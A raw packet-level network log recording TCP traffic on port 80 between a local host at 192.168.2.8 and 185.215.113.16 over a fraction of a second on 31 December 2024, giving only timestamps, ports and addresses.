Dec 31, 2024 15:42:10.713373899 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713373899 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713380098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713392973 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713404894 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713417053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713419914 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713419914 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713429928 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713458061 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713493109 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713496923 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713510990 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713530064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713541985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713551998 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713552952 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713563919 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713577032 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713591099 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.713598967 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713598967 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.713653088 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714119911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714132071 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714143991 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714165926 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714176893 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714189053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714201927 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714205980 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714205980 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714215040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714246988 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714270115 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714483976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714495897 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714508057 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714540005 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714540958 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714551926 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714565039 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714579105 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714603901 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714603901 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714648008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714660883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714673042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714687109 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714700937 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714713097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714715004 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714715958 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714730978 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714742899 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714745998 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714765072 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714770079 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714787006 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714799881 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714811087 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714812040 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714828968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714843988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714852095 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714858055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.714905024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.714905024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.716856003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.716878891 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.716891050 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.716957092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.742578983 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747395039 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747472048 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747484922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747497082 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747509956 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747528076 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747539997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747554064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747565985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747586012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747598886 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747600079 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747612000 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747628927 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747642994 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747654915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747658014 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747658014 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747669935 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747672081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747705936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747714043 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747720003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747731924 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747744083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747755051 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747757912 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747767925 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747801065 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747801065 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747833014 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747889042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747910976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747932911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747944117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.747951031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747951031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.747956038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748011112 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748192072 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748203993 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748260021 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748362064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748373985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748384953 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748411894 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748419046 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748419046 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748424053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748445988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748457909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748467922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748467922 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748480082 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748492002 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748517036 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748527050 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748527050 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748528004 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748539925 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748552084 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748564959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748577118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748583078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748583078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748588085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748604059 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748611927 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748617887 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748630047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.748658895 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.748658895 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749147892 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749161005 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749174118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749185085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749197960 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749209881 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749224901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749243975 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749243975 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749272108 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749291897 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749304056 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749315023 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749334097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749346972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749351025 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749357939 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749371052 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749382019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749396086 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749398947 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749408960 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749423981 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.749428034 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.749471903 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.762658119 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767688990 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767708063 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767721891 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767734051 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767745972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767764091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767787933 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767800093 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767807007 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767812014 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767829895 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767842054 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767843962 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767843962 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767854929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767865896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767888069 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767894030 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767899990 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767910957 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767923117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767935991 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767936945 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767950058 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767962933 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767976046 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767976046 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.767980099 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767992020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.767992973 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768013954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768033028 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768053055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768057108 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768057108 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768065929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768079042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768090010 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768102884 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768102884 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768115997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768127918 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768130064 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768137932 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768150091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768162012 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768162966 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768162012 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768177032 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768219948 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768219948 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768779993 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768790007 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768793106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768850088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768876076 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768876076 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768889904 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768902063 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768920898 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768934011 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768934011 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768934011 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768945932 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768956900 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768965006 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.768969059 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.768986940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769001961 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769004107 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769004107 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769011974 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769025087 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769038916 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769051075 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769052029 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769067049 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769079924 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769090891 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769090891 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769093037 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769104958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769135952 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769175053 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769716024 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769733906 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769746065 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769757032 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769769907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769781113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769793034 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769807100 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.769828081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769828081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.769841909 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770072937 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770085096 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770097017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770107985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770121098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770140886 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770140886 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770140886 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770153999 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770165920 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770178080 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770190954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770203114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770210981 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770210981 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770215988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770260096 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770260096 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770318031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770329952 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770340919 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770361900 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770374060 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770380020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770391941 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770402908 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770415068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770430088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770431042 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770431042 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770442963 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770488024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770488024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.770967007 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770978928 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.770988941 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771008015 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771027088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771039009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771040916 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771050930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771080971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771080971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771140099 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771152973 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771163940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771174908 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771187067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771195889 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771195889 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771199942 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771213055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771224976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771229029 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771246910 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771262884 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771269083 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771274090 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771286011 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771297932 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771302938 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771310091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771341085 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771342039 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771343946 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771389008 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.771967888 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771980047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.771991968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772005081 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772017002 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772030115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:10.772037029 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:10.772042036 CET	80	49715	185.215.113.16	192.168.2.8
